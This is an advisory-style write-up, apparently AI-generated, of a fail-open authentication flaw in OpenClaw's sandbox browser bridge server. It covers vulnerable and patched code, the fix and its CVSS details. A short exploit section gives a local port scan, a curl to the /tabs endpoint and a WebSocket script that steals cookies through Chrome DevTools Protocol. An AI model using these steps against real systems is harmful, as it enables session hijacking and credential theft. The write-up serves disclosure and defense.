CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-H9G4-589H-68XV
7.1

OpenClaw: The Sandbox That Wasn't

Alon Barad
Alon Barad
Software Engineer

Feb 18, 2026·6 min read·4 visits

PoC Available

Executive Summary (TL;DR)

OpenClaw forgot to turn the lock on. The sandbox bridge server initialized without credentials, defaulting to 'fail-open' mode. Local attackers can connect to the ephemeral port, access the Chrome DevTools Protocol, and hijack the browser session.

OpenClaw's sandbox browser bridge server failed to enforce authentication during initialization, allowing local attackers to bypass security controls. This failure to wire credentials turned the secure browser environment into an open proxy, permitting arbitrary Chrome DevTools Protocol (CDP) execution and session hijacking.

The Hook: A Bridge Too Far

Modern AI assistants like OpenClaw are hungry. They want to read the web, interact with your apps, and generally be helpful digital butlers. To do this safely, they spawn 'sandboxed' browser instances—headless Chrome processes that do the heavy lifting without (theoretically) exposing the host machine to the cesspool of the internet.

To control these sandboxed browsers, OpenClaw uses a Bridge Server. Think of this as the puppet master. It listens on a local port and translates high-level commands from the AI agent into low-level Chrome DevTools Protocol (CDP) messages. It exposes endpoints like /tabs, /profiles, and crucially, the WebSocket URLs for direct debugging.

In a perfect world, this bridge is a fortress. It should require a strict handshake, a generated token, or a secret handshake known only to the parent process. But in OpenClaw versions prior to 2026.2.14, the architect forgot to install the front door. The bridge server was initialized in a state that effectively said, 'Come on in, the water's fine.'

The Flaw: Failure to Wire

The vulnerability here isn't a complex buffer overflow or a math wizard's crypto-break. It is a classic logic error known as Initialization Failure. The code for the bridge server (src/browser/bridge-server.ts) actually contained logic to check for authentication tokens. It wasn't completely naive. However, it suffered from a fatal design choice: Fail Open.

The logic roughly followed this path: 'If I have been given a password, I will check it. If I haven't been given a password, I assume we are in development mode or trusted territory, and I will let everyone in.'

The catastrophic failure occurred in src/agents/sandbox/browser.ts. When the main application spun up the sandbox, it simply forgot to pass the credentials to the bridge server instance. Because the server received no credentials during startup, it defaulted to its insecure state. It bound to a random ephemeral port on 127.0.0.1 and waited for commands—from anyone.

The Code: The Smoking Gun

Let's look at the anatomy of the failure. The fix commits reveal exactly where the logic was lacking. In the vulnerable version, the authentication middleware was passive. It checked for the existence of a config before enforcing it.

Here is the conceptual flow of the vulnerable code:

// src/browser/bridge-server.ts (Vulnerable)
 
start(config) {
  this.authToken = config.authToken;
  
  app.use((req, res, next) => {
    // If no token was configured, just let them through!
    if (!this.authToken) {
      return next();
    }
    
    // Otherwise check the header...
    if (req.headers['authorization'] !== this.authToken) {
      return res.sendStatus(401);
    }
    next();
  });
}

The fix (in version 2026.2.14) inverts this logic. It enforces a Fail Closed model. If the bridge server is started without a token, it panics and refuses to start. This forces the developer (and the calling code) to provide security credentials.

// src/browser/bridge-server.ts (Fixed)
 
start(config) {
  if (!config.authToken) {
    throw new Error("Security violation: Bridge server started without auth!");
  }
  
  this.authToken = config.authToken;
  
  app.use((req, res, next) => {
    // No more free passes.
    // We also use constant-time comparison now to prevent timing attacks.
    if (!safeEqualSecret(req.headers['authorization'], this.authToken)) {
      return res.sendStatus(401);
    }
    next();
  });
}

The patch also included updates to resolveSandboxContext to ensure those tokens are actually generated and passed down, closing the loop.

The Exploit: Driving the Browser

Exploiting this is trivially easy for any malicious code running on the same machine (e.g., a malicious npm package, a compromised script, or a rogue employee). Because the bridge server binds to a random high port, the only hurdle is finding it.

Step 1: Reconnaissance The attacker scans 127.0.0.1 for open ports. Since the bridge server is based on Express, it responds to HTTP requests.

# Find the port (example output)
$ netstat -an | grep LISTENING
tcp4       0      0  127.0.0.1.54321        *.*                    LISTEN

Step 2: Enumeration The attacker queries the /tabs endpoint of the suspected ports. If they hit the OpenClaw bridge, they get a JSON list of all open tabs, including their WebSocket debugger URLs.

$ curl http://127.0.0.1:54321/tabs
[
  {
    "description": "",
    "devtoolsFrontendUrl": "/devtools/inspector.html?ws=...",
    "id": "EF123...",
    "title": "Bank of America - Login",
    "type": "page",
    "url": "https://www.bankofamerica.com",
    "webSocketDebuggerUrl": "ws://127.0.0.1:54321/devtools/page/EF123..."
  }
]

Step 3: Hijacking With the webSocketDebuggerUrl, the attacker has full god-mode access to that tab via CDP. They can execute arbitrary JavaScript to steal cookies, dump local storage, or navigate the browser to a malicious site.

// Attacker script connecting to the leaked WS URL
const ws = new WebSocket('ws://127.0.0.1:54321/devtools/page/EF123...');
ws.onopen = () => {
  // Execute JS to steal cookies
  ws.send(JSON.stringify({
    id: 1,
    method: "Runtime.evaluate",
    params: { expression: "document.cookie" }
  }));
};

The Impact: Localhost is Not a Sanctuary

There is a pervasive myth among developers that binding to 127.0.0.1 is a security feature. It is not. It is merely a boundary. In a multi-user environment, or an environment where users run third-party code (like npm install), the local loopback interface is a hostile warzone.

By bypassing authentication on the bridge, OpenClaw essentially allowed any process on the user's machine to peer into the user's most sensitive browsing sessions.

If the AI assistant was logged into a corporate SSO portal, the attacker now has the session token. If the AI was summarizing a confidential email, the attacker can read it. This escalates a simple local execution privilege into a massive privacy violation and potential identity theft event.

The Fix: Trust No One

The remediation in version 2026.2.14 is comprehensive. The developers didn't just fix the initialization bug; they hardened the entire architecture.

1. Explicit Auth Requirements: The server now throws an exception if it starts without credentials. No more fail-open defaults.

2. Constant-Time Comparison: They switched to safeEqualSecret for token validation, eliminating potential timing attacks that could allow an attacker to guess the token byte-by-byte (though checking a UUID over a local network via timing is theoretically hard, it's good practice).

3. Bridge Auth Registry: A new internal registry maps ephemeral ports to their generated tokens, ensuring that legitimate internal clients (the AI agent itself) can find and authenticate to the bridge without hardcoding secrets.

Recommendation: Update immediately. If you cannot update, disable the sandbox browser feature in your configuration file to close the attack vector completely.

Official Patches

OpenClawPrimary fix commit enforcing auth

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Affected Systems

OpenClaw AI AssistantOpenClaw Sandbox Bridge Server

Affected Versions Detail

Product
Affected Versions
Fixed Version
openclaw
openclaw
>=2026.1.29-beta.1 <2026.2.142026.2.14
AttributeDetail
CWE IDCWE-287
Attack VectorLocal (AV:L)
CVSS Score7.1 (High)
Exploit StatusTrivial (No Public PoC)
ImpactSession Hijacking / RCE
Affected ComponentSandbox Browser Bridge

MITRE ATT&CK Mapping

T1557Adversary-in-the-Middle
Credential Access
T1119Automated Collection
Collection
T1212Exploitation for Credential Access
Credential Access
CWE-287
Improper Authentication

Improper Authentication

Known Exploits & Detection

HypotheticalExploitation involves scanning local ports and connecting to the /tabs endpoint to retrieve CDP WebSocket URLs.

Vulnerability Timeline

Fix committed to main branch
2026-02-14
Version 2026.2.14 released
2026-02-14
GHSA-h9g4-589h-68xv published
2026-02-18

References & Sources

  • [1]OpenClaw Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.